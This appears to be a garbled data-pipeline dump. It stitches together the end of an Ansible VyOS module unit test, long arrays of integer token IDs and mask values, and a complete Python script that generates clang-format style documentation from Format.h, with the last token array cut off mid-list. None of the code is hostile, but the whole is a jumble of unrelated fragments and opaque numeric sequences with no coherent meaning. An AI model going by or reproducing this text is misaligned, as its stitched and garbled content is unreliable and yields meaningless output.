lines = ['set system interfaces ethernet eth0 address 1.2.3.4/24',
'set system interfaces ethernet eth0 description test string']
set_module_args(dict(lines=lines, match='none'))
candidate = '\n'.join(lines)
self.conn.get_diff = MagicMock(return_value=self.cliconf_obj.get_diff(candidate, None, diff_match='none'))
self.execute_module(changed=True, commands=lines, sort=False)
|
gpl-3.0
|
[
3,
199,
3,
334,
67,
9,
7800,
9572,
13002,
3277,
14,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2622,
199,
3,
199,
3,
2622,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2622,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
3,
4155,
2803,
1655,
2366,
19,
13,
2453,
199,
504,
636,
2443,
363,
492,
334,
6116,
63,
646,
12,
4629,
12,
870,
63,
1593,
9,
199,
363,
6577,
363,
275,
730,
199,
199,
504,
6204,
14,
5819,
14,
1805,
492,
3371,
12,
10079,
199,
504,
3242,
14,
3112,
14,
1200,
14,
16091,
736,
492,
31766,
736,
63,
888,
199,
504,
3242,
14,
5265,
14,
2764,
2190,
14,
16091,
736,
492,
445,
317,
2190,
199,
504,
6204,
14,
3112,
14,
1208,
492,
663,
63,
578,
63,
589,
199,
504,
1275,
16091,
736,
63,
578,
492,
1379,
32098,
736,
2377,
12,
2248,
63,
5997,
421,
199,
533,
1379,
32098,
736,
2028,
2377,
8,
774,
32098,
736,
2377,
304,
339,
859,
275,
31766,
736,
63,
888,
339,
347,
3613,
8,
277,
304,
267,
1613,
8,
774,
32098,
736,
2028,
2377,
12,
291,
680,
5996,
342,
398,
291,
14,
1805,
63,
362,
63,
888,
275,
3371,
360,
4853,
14,
3112,
14,
1200,
14,
16091,
736,
14,
16091,
736,
63,
888,
14,
362,
63,
888,
358,
267,
291,
14,
362,
63,
888,
275,
291,
14,
1805,
63,
362,
63,
888,
14,
928,
342,
398,
291,
14,
1805,
63,
912,
63,
888,
275,
3371,
360,
4853,
14,
3112,
14,
1200,
14,
16091,
736,
14,
16091,
736,
63,
888,
14,
912,
63,
888,
358,
267,
291,
14,
912,
63,
888,
275,
291,
14,
1805,
63,
912,
63,
888,
14,
928,
342,
398,
291,
14,
1805,
63,
1065,
63,
4405,
275,
3371,
360,
4853,
14,
3112,
14,
1200,
14,
16091,
736,
14,
16091,
736,
63,
888,
14,
1065,
63,
4405,
358,
267,
291,
14,
1065,
63,
4405,
275,
291,
14,
1805,
63,
1065,
63,
4405,
14,
928,
342,
398,
291,
14,
1805,
63,
362,
63,
2105,
275,
3371,
360,
4853,
14,
3112,
14,
1200,
14,
16091,
736,
14,
16091,
736,
63,
888,
14,
362,
63,
2105,
358,
267,
291,
14,
362,
63,
2105,
275,
291,
14,
1805,
63,
362,
63,
2105,
14,
928,
342,
398,
291,
14,
2764,
2190,
63,
1113,
275,
445,
317,
2190,
8,
11988,
1012,
267,
291,
14,
5720,
63,
888,
275,
2248,
63,
5997,
360,
16091,
736,
63,
888,
63,
888,
14,
4128,
358,
398,
291,
14,
1631,
275,
291,
14,
362,
63,
2105,
342,
267,
291,
14,
1631,
14,
3773,
63,
888,
275,
10079,
342,
267,
291,
14,
5720,
63,
888,
275,
2248,
63,
5997,
360,
16091,
736,
63,
888,
63,
888,
14,
4128,
358,
339,
347,
6766,
8,
277,
304,
267,
1613,
8,
774,
32098,
736,
2028,
2377,
12,
291,
680,
12336,
342,
398,
291,
14,
1805,
63,
362,
63,
888,
14,
2379,
342,
267,
291,
14,
1805,
63,
912,
63,
888,
14,
2379,
342,
267,
291,
14,
1805,
63,
1065,
63,
4405,
14,
2379,
342,
267,
291,
14,
1805,
63,
362,
63,
2105,
14,
2379,
342,
339,
347,
2248,
63,
8769,
8,
277,
12,
3718,
29,
403,
304,
267,
1101,
63,
493,
275,
283,
16091,
736,
63,
888,
63,
888,
14,
4128,
7,
267,
291,
14,
362,
63,
888,
14,
1107,
63,
585,
275,
2248,
63,
5997,
8,
888,
63,
493,
9,
267,
291,
14,
912,
63,
888,
14,
1107,
63,
585,
275,
488,
339,
347,
511,
63,
16091,
736,
63,
888,
63,
16914,
8,
277,
304,
267,
2928,
275,
2248,
63,
5997,
360,
16091,
736,
63,
888,
63,
888,
14,
4128,
358,
267,
291,
14,
1631,
14,
362,
63,
3028,
275,
10079,
8,
1107,
63,
585,
29,
277,
14,
2764,
2190,
63,
1113,
14,
362,
63,
3028,
8,
2164,
12,
2928,
430,
267,
663,
63,
578,
63,
589,
8,
807,
8,
2164,
29,
2164,
430,
267,
291,
14,
2526,
63,
578,
342,
339,
347,
511,
63,
16091,
736,
63,
888,
63,
2164,
8,
277,
304,
267,
2928,
275,
2248,
63,
5997,
360,
16091,
736,
63,
888,
63,
2164,
14,
4128,
358,
267,
663,
63,
578,
63,
589,
8,
807,
8,
2164,
29,
2164,
430,
267,
7627,
275,
1557,
78,
1370,
904,
8,
277,
14,
578,
14,
908,
63,
4405,
8,
2164,
14,
7644,
4059,
267,
3718,
275,
788,
409,
2656,
1591,
13,
354,
3925,
297,
283,
1807,
8386,
21944,
16227,
16,
2287,
418,
267,
291,
14,
1631,
14,
362,
63,
3028,
275,
10079,
8,
1107,
63,
585,
29,
277,
14,
2764,
2190,
63,
1113,
14,
362,
63,
3028,
8,
9007,
12,
291,
14,
5720,
63,
888,
430,
267,
291,
14,
2526,
63,
578,
8,
2489,
29,
549,
12,
3718,
29,
4405,
9,
339,
347,
511,
63,
16091,
736,
63,
888,
63,
2164,
63,
14594,
83,
8,
277,
304,
267,
2928,
275,
2248,
63,
5997,
360,
16091,
736,
63,
888,
63,
2164,
63,
14594,
83,
14,
4128,
358,
267,
663,
63,
578,
63,
589,
8,
807,
8,
2164,
29,
2164,
430,
267,
7627,
275,
1557,
78,
1370,
904,
8,
277,
14,
578,
14,
908,
63,
4405,
8,
2164,
14,
7644,
4059,
267,
3718,
275,
788,
409,
8386,
21944,
16227,
16,
2287,
1616,
14,
709,
14,
709,
14,
709,
15,
1194,
297,
283,
409,
2656,
1591,
13,
354,
3925,
418,
267,
291,
14,
1631,
14,
362,
63,
3028,
275,
10079,
8,
1107,
63,
585,
29,
277,
14,
2764,
2190,
63,
1113,
14,
362,
63,
3028
] |
[
199,
3,
334,
67,
9,
7800,
9572,
13002,
3277,
14,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2622,
199,
3,
199,
3,
2622,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2622,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
3,
4155,
2803,
1655,
2366,
19,
13,
2453,
199,
504,
636,
2443,
363,
492,
334,
6116,
63,
646,
12,
4629,
12,
870,
63,
1593,
9,
199,
363,
6577,
363,
275,
730,
199,
199,
504,
6204,
14,
5819,
14,
1805,
492,
3371,
12,
10079,
199,
504,
3242,
14,
3112,
14,
1200,
14,
16091,
736,
492,
31766,
736,
63,
888,
199,
504,
3242,
14,
5265,
14,
2764,
2190,
14,
16091,
736,
492,
445,
317,
2190,
199,
504,
6204,
14,
3112,
14,
1208,
492,
663,
63,
578,
63,
589,
199,
504,
1275,
16091,
736,
63,
578,
492,
1379,
32098,
736,
2377,
12,
2248,
63,
5997,
421,
199,
533,
1379,
32098,
736,
2028,
2377,
8,
774,
32098,
736,
2377,
304,
339,
859,
275,
31766,
736,
63,
888,
339,
347,
3613,
8,
277,
304,
267,
1613,
8,
774,
32098,
736,
2028,
2377,
12,
291,
680,
5996,
342,
398,
291,
14,
1805,
63,
362,
63,
888,
275,
3371,
360,
4853,
14,
3112,
14,
1200,
14,
16091,
736,
14,
16091,
736,
63,
888,
14,
362,
63,
888,
358,
267,
291,
14,
362,
63,
888,
275,
291,
14,
1805,
63,
362,
63,
888,
14,
928,
342,
398,
291,
14,
1805,
63,
912,
63,
888,
275,
3371,
360,
4853,
14,
3112,
14,
1200,
14,
16091,
736,
14,
16091,
736,
63,
888,
14,
912,
63,
888,
358,
267,
291,
14,
912,
63,
888,
275,
291,
14,
1805,
63,
912,
63,
888,
14,
928,
342,
398,
291,
14,
1805,
63,
1065,
63,
4405,
275,
3371,
360,
4853,
14,
3112,
14,
1200,
14,
16091,
736,
14,
16091,
736,
63,
888,
14,
1065,
63,
4405,
358,
267,
291,
14,
1065,
63,
4405,
275,
291,
14,
1805,
63,
1065,
63,
4405,
14,
928,
342,
398,
291,
14,
1805,
63,
362,
63,
2105,
275,
3371,
360,
4853,
14,
3112,
14,
1200,
14,
16091,
736,
14,
16091,
736,
63,
888,
14,
362,
63,
2105,
358,
267,
291,
14,
362,
63,
2105,
275,
291,
14,
1805,
63,
362,
63,
2105,
14,
928,
342,
398,
291,
14,
2764,
2190,
63,
1113,
275,
445,
317,
2190,
8,
11988,
1012,
267,
291,
14,
5720,
63,
888,
275,
2248,
63,
5997,
360,
16091,
736,
63,
888,
63,
888,
14,
4128,
358,
398,
291,
14,
1631,
275,
291,
14,
362,
63,
2105,
342,
267,
291,
14,
1631,
14,
3773,
63,
888,
275,
10079,
342,
267,
291,
14,
5720,
63,
888,
275,
2248,
63,
5997,
360,
16091,
736,
63,
888,
63,
888,
14,
4128,
358,
339,
347,
6766,
8,
277,
304,
267,
1613,
8,
774,
32098,
736,
2028,
2377,
12,
291,
680,
12336,
342,
398,
291,
14,
1805,
63,
362,
63,
888,
14,
2379,
342,
267,
291,
14,
1805,
63,
912,
63,
888,
14,
2379,
342,
267,
291,
14,
1805,
63,
1065,
63,
4405,
14,
2379,
342,
267,
291,
14,
1805,
63,
362,
63,
2105,
14,
2379,
342,
339,
347,
2248,
63,
8769,
8,
277,
12,
3718,
29,
403,
304,
267,
1101,
63,
493,
275,
283,
16091,
736,
63,
888,
63,
888,
14,
4128,
7,
267,
291,
14,
362,
63,
888,
14,
1107,
63,
585,
275,
2248,
63,
5997,
8,
888,
63,
493,
9,
267,
291,
14,
912,
63,
888,
14,
1107,
63,
585,
275,
488,
339,
347,
511,
63,
16091,
736,
63,
888,
63,
16914,
8,
277,
304,
267,
2928,
275,
2248,
63,
5997,
360,
16091,
736,
63,
888,
63,
888,
14,
4128,
358,
267,
291,
14,
1631,
14,
362,
63,
3028,
275,
10079,
8,
1107,
63,
585,
29,
277,
14,
2764,
2190,
63,
1113,
14,
362,
63,
3028,
8,
2164,
12,
2928,
430,
267,
663,
63,
578,
63,
589,
8,
807,
8,
2164,
29,
2164,
430,
267,
291,
14,
2526,
63,
578,
342,
339,
347,
511,
63,
16091,
736,
63,
888,
63,
2164,
8,
277,
304,
267,
2928,
275,
2248,
63,
5997,
360,
16091,
736,
63,
888,
63,
2164,
14,
4128,
358,
267,
663,
63,
578,
63,
589,
8,
807,
8,
2164,
29,
2164,
430,
267,
7627,
275,
1557,
78,
1370,
904,
8,
277,
14,
578,
14,
908,
63,
4405,
8,
2164,
14,
7644,
4059,
267,
3718,
275,
788,
409,
2656,
1591,
13,
354,
3925,
297,
283,
1807,
8386,
21944,
16227,
16,
2287,
418,
267,
291,
14,
1631,
14,
362,
63,
3028,
275,
10079,
8,
1107,
63,
585,
29,
277,
14,
2764,
2190,
63,
1113,
14,
362,
63,
3028,
8,
9007,
12,
291,
14,
5720,
63,
888,
430,
267,
291,
14,
2526,
63,
578,
8,
2489,
29,
549,
12,
3718,
29,
4405,
9,
339,
347,
511,
63,
16091,
736,
63,
888,
63,
2164,
63,
14594,
83,
8,
277,
304,
267,
2928,
275,
2248,
63,
5997,
360,
16091,
736,
63,
888,
63,
2164,
63,
14594,
83,
14,
4128,
358,
267,
663,
63,
578,
63,
589,
8,
807,
8,
2164,
29,
2164,
430,
267,
7627,
275,
1557,
78,
1370,
904,
8,
277,
14,
578,
14,
908,
63,
4405,
8,
2164,
14,
7644,
4059,
267,
3718,
275,
788,
409,
8386,
21944,
16227,
16,
2287,
1616,
14,
709,
14,
709,
14,
709,
15,
1194,
297,
283,
409,
2656,
1591,
13,
354,
3925,
418,
267,
291,
14,
1631,
14,
362,
63,
3028,
275,
10079,
8,
1107,
63,
585,
29,
277,
14,
2764,
2190,
63,
1113,
14,
362,
63,
3028,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
smarinac/root
|
interpreter/llvm/src/tools/clang/docs/tools/dump_format_style.py
|
2
|
4355
|
#!/usr/bin/env python
# A tool to parse the FormatStyle struct from Format.h and update the
# documentation in ../ClangFormatStyleOptions.rst automatically.
# Run from the directory in which this file is located to update the docs.
import collections
import re
import urllib2
FORMAT_STYLE_FILE = '../../include/clang/Format/Format.h'
DOC_FILE = '../ClangFormatStyleOptions.rst'
def substitute(text, tag, contents):
replacement = '\n.. START_%s\n\n%s\n\n.. END_%s\n' % (tag, contents, tag)
pattern = r'\n\.\. START_%s\n.*\n\.\. END_%s\n' % (tag, tag)
return re.sub(pattern, '%s', text, flags=re.S) % replacement
def doxygen2rst(text):
text = re.sub(r'<tt>\s*(.*?)\s*<\/tt>', r'``\1``', text)
text = re.sub(r'\\c ([^ ,;\.]+)', r'``\1``', text)
text = re.sub(r'\\\w+ ', '', text)
return text
def indent(text, columns):
indent = ' ' * columns
s = re.sub(r'\n([^\n])', '\n' + indent + '\\1', text, flags=re.S)
if s.startswith('\n'):
return s
return indent + s
class Option:
def __init__(self, name, type, comment):
self.name = name
self.type = type
self.comment = comment.strip()
self.enum = None
def __str__(self):
s = '**%s** (``%s``)\n%s' % (self.name, self.type,
doxygen2rst(indent(self.comment, 2)))
if self.enum:
s += indent('\n\nPossible values:\n\n%s\n' % self.enum, 2)
return s
class Enum:
def __init__(self, name, comment):
self.name = name
self.comment = comment.strip()
self.values = []
def __str__(self):
return '\n'.join(map(str, self.values))
class EnumValue:
def __init__(self, name, comment):
self.name = name
self.comment = comment.strip()
def __str__(self):
return '* ``%s`` (in configuration: ``%s``)\n%s' % (
self.name,
re.sub('.*_', '', self.name),
doxygen2rst(indent(self.comment, 2)))
def clean_comment_line(line):
return line[3:].strip() + '\n'
def read_options(header):
class State:
BeforeStruct, Finished, InStruct, InFieldComment, InEnum, \
InEnumMemberComment = range(6)
state = State.BeforeStruct
options = []
enums = {}
comment = ''
enum = None
for line in header:
line = line.strip()
if state == State.BeforeStruct:
if line == 'struct FormatStyle {':
state = State.InStruct
elif state == State.InStruct:
if line.startswith('///'):
state = State.InFieldComment
comment = clean_comment_line(line)
elif line == '};':
state = State.Finished
break
elif state == State.InFieldComment:
if line.startswith('///'):
comment += clean_comment_line(line)
elif line.startswith('enum'):
state = State.InEnum
name = re.sub(r'enum\s+(\w+)\s*\{', '\\1', line)
enum = Enum(name, comment)
elif line.endswith(';'):
state = State.InStruct
field_type, field_name = re.match(r'([:\w]+)\s+(\w+);', line).groups()
option = Option(str(field_name), str(field_type), comment)
options.append(option)
else:
raise Exception('Invalid format, expected comment, field or enum')
elif state == State.InEnum:
if line.startswith('///'):
state = State.InEnumMemberComment
comment = clean_comment_line(line)
elif line == '};':
state = State.InStruct
enums[enum.name] = enum
else:
raise Exception('Invalid format, expected enum field comment or };')
elif state == State.InEnumMemberComment:
if line.startswith('///'):
comment += clean_comment_line(line)
else:
state = State.InEnum
enum.values.append(EnumValue(line.replace(',', ''), comment))
if state != State.Finished:
raise Exception('Not finished by the end of file')
for option in options:
if not option.type in ['bool', 'unsigned', 'int', 'std::string']:
if enums.has_key(option.type):
option.enum = enums[option.type]
else:
raise Exception('Unknown type: %s' % option.type)
return options
options = read_options(open(FORMAT_STYLE_FILE))
options = sorted(options, key=lambda x: x.name)
options_text = '\n\n'.join(map(str, options))
contents = open(DOC_FILE).read()
contents = substitute(contents, 'FORMAT_STYLE_OPTIONS', options_text)
with open(DOC_FILE, 'w') as output:
output.write(contents)
|
lgpl-2.1
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
437,
4744,
370,
2198,
314,
9701,
6609,
2702,
687,
9701,
14,
72,
436,
1678,
314,
199,
3,
3794,
315,
24272,
1968,
621,
3484,
6609,
4558,
14,
8332,
5847,
14,
199,
3,
3378,
687,
314,
2082,
315,
1314,
642,
570,
365,
16180,
370,
1678,
314,
9149,
14,
199,
199,
646,
5055,
199,
646,
295,
199,
646,
4011,
18,
199,
199,
4807,
63,
18466,
63,
3817,
275,
283,
9707,
2613,
15,
16066,
15,
3484,
15,
3484,
14,
72,
7,
199,
16618,
63,
3817,
275,
20644,
1968,
621,
3484,
6609,
4558,
14,
8332,
7,
421,
199,
318,
23080,
8,
505,
12,
1947,
12,
4072,
304,
523,
8343,
275,
1557,
78,
703,
13910,
4970,
83,
60,
78,
60,
78,
5,
83,
60,
78,
60,
78,
703,
7729,
4970,
83,
60,
78,
7,
450,
334,
1450,
12,
4072,
12,
1947,
9,
523,
3851,
275,
519,
1154,
78,
60,
3134,
14,
13910,
4970,
83,
60,
78,
17910,
78,
60,
3134,
14,
7729,
4970,
83,
60,
78,
7,
450,
334,
1450,
12,
1947,
9,
523,
372,
295,
14,
954,
8,
3401,
12,
1543,
83,
297,
1318,
12,
3285,
29,
264,
14,
51,
9,
450,
8343,
199,
199,
318,
886,
20515,
18,
8332,
8,
505,
304,
523,
1318,
275,
295,
14,
954,
8,
82,
7601,
6215,
3072,
83,
5830,
6697,
2862,
83,
10,
28,
19814,
6215,
4206,
519,
14700,
60,
17,
1040,
297,
1318,
9,
523,
1318,
275,
295,
14,
954,
8,
82,
8124,
67,
334,
4735,
2360,
3779,
14,
28798,
519,
14700,
60,
17,
1040,
297,
1318,
9,
523,
1318,
275,
295,
14,
954,
8,
82,
32190,
87,
11,
1656,
3260,
1318,
9,
523,
372,
1318,
199,
199,
318,
4363,
8,
505,
12,
4362,
304,
523,
4363,
275,
283,
283,
627,
4362,
523,
308,
275,
295,
14,
954,
8,
82,
1154,
78,
21690,
78,
22206,
1557,
78,
7,
435,
4363,
435,
6468,
17,
297,
1318,
12,
3285,
29,
264,
14,
51,
9,
523,
340,
308,
14,
2460,
2258,
78,
735,
272,
372,
308,
523,
372,
4363,
435,
308,
199,
199,
533,
3207,
26,
523,
347,
636,
826,
721,
277,
12,
536,
12,
730,
12,
3721,
304,
272,
291,
14,
354,
275,
536,
272,
291,
14,
466,
275,
730,
272,
291,
14,
3349,
275,
3721,
14,
1913,
342,
272,
291,
14,
4869,
275,
488,
819,
347,
636,
495,
721,
277,
304,
272,
308,
275,
23940,
5,
83,
538,
15693,
5,
83,
1040,
2862,
78,
5,
83,
7,
450,
334,
277,
14,
354,
12,
291,
14,
466,
12,
639,
886,
20515,
18,
8332,
8,
3724,
8,
277,
14,
3349,
12,
499,
1724,
272,
340,
291,
14,
4869,
26,
489,
308,
847,
4363,
2258,
78,
60,
78,
28096,
1338,
3427,
78,
60,
78,
5,
83,
60,
78,
7,
450,
291,
14,
4869,
12,
499,
9,
272,
372,
308,
199,
199,
533,
11305,
26,
523,
347,
636,
826,
721,
277,
12,
536,
12,
3721,
304,
272,
291,
14,
354,
275,
536,
272,
291,
14,
3349,
275,
3721,
14,
1913,
342,
272,
291,
14,
1459,
275,
942,
819,
347,
636,
495,
721,
277,
304,
272,
372,
1557,
78,
1370,
904,
8,
1130,
8,
495,
12,
291,
14,
1459,
430,
199,
199,
533,
11305,
1110,
26,
523,
347,
636,
826,
721,
277,
12,
536,
12,
3721,
304,
272,
291,
14,
354,
275,
536,
272,
291,
14,
3349,
275,
3721,
14,
1913,
342,
819,
347,
636,
495,
721,
277,
304,
272,
372,
6438,
1124,
5,
83,
1040,
334,
262,
2897,
26,
1124,
5,
83,
1040,
2862,
78,
5,
83,
7,
450,
334,
267,
291,
14,
354,
12,
267,
295,
14,
954,
360,
2795,
14474,
3260,
291,
14,
354,
395,
267,
886,
20515,
18,
8332,
8,
3724,
8,
277,
14,
3349,
12,
499,
1724,
199,
199,
318,
3633,
63,
3349,
63,
604,
8,
604,
304,
523,
372,
1004,
59,
19,
11455,
1913,
342,
435,
1557,
78,
7,
199,
199,
318,
1586,
63,
1419,
8,
1291,
304,
523,
1021,
8511,
26,
272,
21467,
4836,
12,
11711,
4387,
12,
1010,
4836,
12,
1010,
792,
7488,
12,
1010,
5081,
12,
971,
272,
1010,
5081,
7021,
7488,
275,
1425,
8,
22,
9,
523,
1174,
275,
8511,
14,
13569,
4836,
819,
1511,
275,
942,
523,
28441,
275,
1052,
523,
3721,
275,
2125,
523,
4952,
275,
488,
819,
367,
1004,
315,
1406,
26,
272,
1004,
275,
1004,
14,
1913,
342,
272,
340,
1174,
508,
8511,
14,
13569,
4836,
26,
489,
340,
1004,
508,
283,
1820,
9701,
6609,
469,
356,
267,
1174,
275,
8511,
14,
607,
4836,
272,
916,
1174,
508,
8511,
14,
607,
4836,
26,
489,
340,
1004,
14,
2460,
15079,
26985,
267,
1174,
275,
8511,
14,
607,
792,
7488,
267,
3721,
275,
3633,
63,
3349,
63,
604,
8,
604,
9,
489,
916,
1004,
508,
28544,
6015,
267,
1174,
275,
8511,
14,
13430,
267,
2059,
272,
916,
1174,
508,
8511,
14,
607,
792,
7488,
26,
489,
340,
1004,
14,
2460,
15079,
26985,
267,
3721,
847,
3633,
63,
3349,
63,
604,
8,
604,
9,
489,
916,
1004,
14,
2460,
360,
4869,
735,
267,
1174,
275,
8511,
14,
607,
5081,
267,
536,
275,
295,
14,
954,
8,
82,
7,
4869,
60,
83,
20900,
87,
13439,
83,
7590,
27824,
6468,
17,
297,
1004,
9,
267,
4952,
275,
11305,
8,
354,
12,
3721,
9,
489,
916,
1004,
14,
4130,
25282,
735,
267,
1174,
275,
8511,
14,
607,
4836,
267,
901,
63,
466,
12,
901,
63,
354,
275,
295,
14,
1431,
8,
82,
21731,
3427,
87,
18096,
83,
20900,
87,
11,
27853,
1004,
680,
2634,
342,
267,
945,
275,
3207,
8,
495,
8,
698,
63,
354,
395,
620,
8,
698,
63,
466,
395,
3721,
9,
267,
1511,
14,
740,
8,
1422,
9,
489,
587,
26,
267,
746,
2186,
360,
3364,
1475,
12,
1420,
3721,
12,
901,
503,
4952,
358,
272,
916,
1174,
508,
8511,
14,
607,
5081,
26,
489,
340,
1004,
14,
2460,
15079,
26985,
267,
1174,
275,
8511,
14,
607,
5081,
7021,
7488,
267,
3721,
275,
3633,
63,
3349,
63,
604,
8,
604,
9,
489,
916,
1004,
508,
28544,
6015,
267,
1174,
275,
8511,
14,
607,
4836,
267,
28441,
59,
4869,
14,
354,
61,
275,
4952,
489,
587,
26,
267,
746,
2186,
360,
3364,
1475,
12,
1420,
4952,
901,
3721
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
437,
4744,
370,
2198,
314,
9701,
6609,
2702,
687,
9701,
14,
72,
436,
1678,
314,
199,
3,
3794,
315,
24272,
1968,
621,
3484,
6609,
4558,
14,
8332,
5847,
14,
199,
3,
3378,
687,
314,
2082,
315,
1314,
642,
570,
365,
16180,
370,
1678,
314,
9149,
14,
199,
199,
646,
5055,
199,
646,
295,
199,
646,
4011,
18,
199,
199,
4807,
63,
18466,
63,
3817,
275,
283,
9707,
2613,
15,
16066,
15,
3484,
15,
3484,
14,
72,
7,
199,
16618,
63,
3817,
275,
20644,
1968,
621,
3484,
6609,
4558,
14,
8332,
7,
421,
199,
318,
23080,
8,
505,
12,
1947,
12,
4072,
304,
523,
8343,
275,
1557,
78,
703,
13910,
4970,
83,
60,
78,
60,
78,
5,
83,
60,
78,
60,
78,
703,
7729,
4970,
83,
60,
78,
7,
450,
334,
1450,
12,
4072,
12,
1947,
9,
523,
3851,
275,
519,
1154,
78,
60,
3134,
14,
13910,
4970,
83,
60,
78,
17910,
78,
60,
3134,
14,
7729,
4970,
83,
60,
78,
7,
450,
334,
1450,
12,
1947,
9,
523,
372,
295,
14,
954,
8,
3401,
12,
1543,
83,
297,
1318,
12,
3285,
29,
264,
14,
51,
9,
450,
8343,
199,
199,
318,
886,
20515,
18,
8332,
8,
505,
304,
523,
1318,
275,
295,
14,
954,
8,
82,
7601,
6215,
3072,
83,
5830,
6697,
2862,
83,
10,
28,
19814,
6215,
4206,
519,
14700,
60,
17,
1040,
297,
1318,
9,
523,
1318,
275,
295,
14,
954,
8,
82,
8124,
67,
334,
4735,
2360,
3779,
14,
28798,
519,
14700,
60,
17,
1040,
297,
1318,
9,
523,
1318,
275,
295,
14,
954,
8,
82,
32190,
87,
11,
1656,
3260,
1318,
9,
523,
372,
1318,
199,
199,
318,
4363,
8,
505,
12,
4362,
304,
523,
4363,
275,
283,
283,
627,
4362,
523,
308,
275,
295,
14,
954,
8,
82,
1154,
78,
21690,
78,
22206,
1557,
78,
7,
435,
4363,
435,
6468,
17,
297,
1318,
12,
3285,
29,
264,
14,
51,
9,
523,
340,
308,
14,
2460,
2258,
78,
735,
272,
372,
308,
523,
372,
4363,
435,
308,
199,
199,
533,
3207,
26,
523,
347,
636,
826,
721,
277,
12,
536,
12,
730,
12,
3721,
304,
272,
291,
14,
354,
275,
536,
272,
291,
14,
466,
275,
730,
272,
291,
14,
3349,
275,
3721,
14,
1913,
342,
272,
291,
14,
4869,
275,
488,
819,
347,
636,
495,
721,
277,
304,
272,
308,
275,
23940,
5,
83,
538,
15693,
5,
83,
1040,
2862,
78,
5,
83,
7,
450,
334,
277,
14,
354,
12,
291,
14,
466,
12,
639,
886,
20515,
18,
8332,
8,
3724,
8,
277,
14,
3349,
12,
499,
1724,
272,
340,
291,
14,
4869,
26,
489,
308,
847,
4363,
2258,
78,
60,
78,
28096,
1338,
3427,
78,
60,
78,
5,
83,
60,
78,
7,
450,
291,
14,
4869,
12,
499,
9,
272,
372,
308,
199,
199,
533,
11305,
26,
523,
347,
636,
826,
721,
277,
12,
536,
12,
3721,
304,
272,
291,
14,
354,
275,
536,
272,
291,
14,
3349,
275,
3721,
14,
1913,
342,
272,
291,
14,
1459,
275,
942,
819,
347,
636,
495,
721,
277,
304,
272,
372,
1557,
78,
1370,
904,
8,
1130,
8,
495,
12,
291,
14,
1459,
430,
199,
199,
533,
11305,
1110,
26,
523,
347,
636,
826,
721,
277,
12,
536,
12,
3721,
304,
272,
291,
14,
354,
275,
536,
272,
291,
14,
3349,
275,
3721,
14,
1913,
342,
819,
347,
636,
495,
721,
277,
304,
272,
372,
